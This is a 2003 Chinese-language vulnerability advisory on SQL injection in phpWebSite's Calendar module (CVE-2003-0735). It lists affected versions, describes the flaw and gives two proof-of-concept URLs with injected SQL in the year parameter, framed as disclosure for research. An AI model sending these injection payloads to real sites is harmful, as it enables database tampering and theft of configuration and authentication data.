发布日期：2003-08-11
更新日期：2003-09-09

受影响系统：

phpWebsite phpWebsite 0.9.3
phpWebsite phpWebsite 0.8.3
phpWebsite phpWebsite 0.8.2
phpWebsite phpWebsite 0.7.3

描述：

---

BUGTRAQ  ID: 8390
CVE(CAN) ID: CVE-2003-0735

phpWebSite是一款WEB站点内容管理系统。

phpWebSite的Calendar模块对用户提交的URL缺少充分过滤，远程攻击者可以利用这个漏洞进行SQL注入攻击，可能破坏数据库或者获得敏感信息。

phpWebSite的Calendar模块是系统默认安装的模块，攻击者可以通过构建特殊的URL，使系统产生错误信息，通过分析这些信息提交恶意SQL命令作为URI参数，可导致更改系统的SQL逻辑，获得配置和验证数据。

<*来源：Lorenzo Hernandez Garcia-Hierro （novappc@novappc.com）
  
  链接：http://marc.theaimsgroup.com/?l=bugtraq&m=106062021711496&w=2
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Lorenzo Hernandez Garcia-Hierro （novappc@novappc.com）提供了如下测试方法：

http://www.example.com/[PATH]/index.php?module=calendar&calendar[view]
=day&year=2003%00-1&month=

http://www.example.com/[PATH]/index.php?module=calendar&calendar[view]
=month&month=11&year=2003%20and%20startDate%20%3c%3d%2020071205%29%20or%
20%28%20endDate%20%3e%3d031101%20and%20endDate%20%3c%3d%2020071205%29%
29%20and%20active%3d1

建议：

---

厂商补丁：

phpWebsite
----------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://phpwebsite.appstate.edu/

浏览次数：3823
严重程度：0（网友投票）